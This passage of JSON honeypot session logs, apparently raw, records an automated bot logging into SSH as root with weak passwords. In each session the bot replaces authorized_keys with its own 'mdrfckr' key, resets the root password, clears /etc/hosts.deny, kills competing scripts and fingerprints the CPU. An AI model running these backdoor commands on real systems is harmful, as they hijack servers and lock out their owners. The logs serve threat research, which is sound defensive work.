node\n^C"},{"seq":23,"at":"2026-08-26T22:28:33.686407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T22:28:34.085131+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T22:28:34.152642+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T22:28:35.037900+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T22:28:35.109177+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T22:28:35.685401+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T22:28:35.753519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T22:28:36.802007+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T22:28:36.868670+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T22:28:38.376803+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Welcome2025","method":"password","accepted":true,"tier":"other"}]} {"id":"c8627d04-62b1-494d-82ff-b6cc011a3e3a","name":"lawful-woven-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":54148,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:18:25.699676+00:00","ended_at":"2026-08-26T22:18:27.811255+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:18:04.197234+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:18:04.267561+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:18:06.352664+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:18:07.593255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:18:07.660944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lhBNzm6CbJbu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:18:07.728824+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:18:07.796753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:18:08.794577+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:18:08.866886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:18:09.664575+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:18:10.333634+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:18:10.402850+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:18:11.231893+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:18:11.303717+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:18:12.309580+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:18:12.379444+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:18:13.493031+00:00","kind":"output","latency_ms":null,"data":" 22:18:13 up 6 days, 19:08, 0 user, load average: 0.09, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:18:13.563558+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:18:15.572641+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:18:15.640843+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:18:17.362241+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:18:17.429935+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:18:19.610967+00:00","kind":"output","latency_ms":null,"data":"top - 22:18:19 up 6 days, 19:08, 0 user, load average: 0.09, 0.07, 0.08\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:18:19.682399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:18:21.130997+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:18:21.198998+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:18:23.262333+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:18:23.330548+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:18:24.242900+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:18:24.312144+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:18:25.633538+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:18:25.700631+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:18:27.800326+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"alamakota","method":"password","accepted":true,"tier":"other"}]} {"id":"7c80ea31-a5d7-47d8-9d64-fa955b5c95c6","name":"glassy-steady-raven","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":34022,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:14:40.341165+00:00","ended_at":"2026-08-26T22:14:41.446011+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:14:14.333924+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:14:14.405144+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:14:17.598285+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:14:19.041005+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:14:19.109299+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pZ8kXJ4zb0Q2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:14:19.179321+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:14:19.248681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:14:21.096185+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:14:21.167837+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:14:21.306444+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:14:22.102822+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:14:22.174345+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:14:24.250136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:14:24.322196+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:14:25.532665+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:14:25.603239+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:14:27.423535+00:00","kind":"output","latency_ms":null,"data":" 22:14:27 up 6 days, 19:04, 0 user, load average: 0.12, 0.14, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:14:27.492511+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:14:29.584797+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:14:29.659668+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:14:31.838111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:14:31.905942+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:14:33.906913+00:00","kind":"output","latency_ms":null,"data":"top - 22:14:33 up 6 days, 19:04, 0 user, load average: 0.12, 0.14, 0.14\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:14:33.976180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:14:35.410657+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:14:35.478947+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:14:37.552690+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:14:37.624489+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:14:38.968911+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:14:39.037955+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:14:40.272718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:14:40.341882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:14:41.432837+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Vps123456","method":"password","accepted":true,"tier":"other"}]} {"id":"90c527d1-48c6-4a7e-b55d-45fe617f00d2","name":"twilight-salty-skua","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":52062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:12:36.684422+00:00","ended_at":"2026-08-26T22:12:38.672663+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T22:12:13.089544+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:12:13.158070+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:12:16.306751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:12:18.127878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:12:18.195924+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ei1ISaaNPPKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:12:18.263488+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:12:18.331019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:12:19.365399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:12:19.432443+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:12:19.561170+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:12:21.219858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:12:21.290070+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:12:22.999529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:12:23.070509+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:12:24.499315+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:12:24.569610+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:12:25.916813+00:00","kind":"output","latency_ms":null,"data":" 22:12:25 up 6 days, 19:02, 0 user, load average: 0.1, 0.08, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:12:25.984592+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:12:27.137538+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:12:27.208147+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:12:28.046560+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:12:28.115207+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:12:29.558780+00:00","kind":"output","latency_ms":null,"data":"top - 22:12:29 up 6 days, 19:02, 0 user, load average: 0.1, 0.08, 0.11\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:12:29.627032+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:12:30.638833+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:12:30.706520+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:12:32.681232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:12:32.748574+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:12:34.369026+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:12:34.437092+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:12:36.615557+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:12:36.685071+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:12:38.661827+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"nico","method":"password","accepted":true,"tier":"other"}]} {"id":"bb42f020-30f3-48f4-ba69-533aac8acef4","name":"dapper-frosty-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":37444,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:10:41.273002+00:00","ended_at":"2026-08-26T22:10:42.385536+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:10:18.721339+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:10:18.788286+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:10:21.646947+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:10:23.167581+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:10:23.236702+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DRc8YdQbbnFj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:10:23.304718+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:10:23.372516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:10:24.047078+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:10:24.216134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:10:24.283202+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:10:25.178678+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:10:25.248649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:10:26.731686+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:10:26.800957+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:10:28.714373+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:10:28.783841+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:10:30.157607+00:00","kind":"output","latency_ms":null,"data":" 22:10:30 up 6 days, 19:00, 0 user, load average: 0.11, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:10:30.229256+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:10:31.785849+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:10:31.856441+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:10:33.216660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:10:33.287790+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:10:35.265896+00:00","kind":"output","latency_ms":null,"data":"top - 22:10:35 up 6 days, 19:00, 0 user, load average: 0.11, 0.11, 0.09\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:10:35.335059+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:10:37.133024+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:10:37.201265+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:10:38.552598+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:10:38.628963+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:10:39.488122+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:10:39.559422+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:10:41.206515+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:10:41.273818+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:10:42.373729+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"p@ck3tf3nc3","method":"password","accepted":true,"tier":"other"}]} {"id":"6d235e27-e165-46dc-8ac2-95f6bf835fed","name":"sterling-craggy-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":37062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 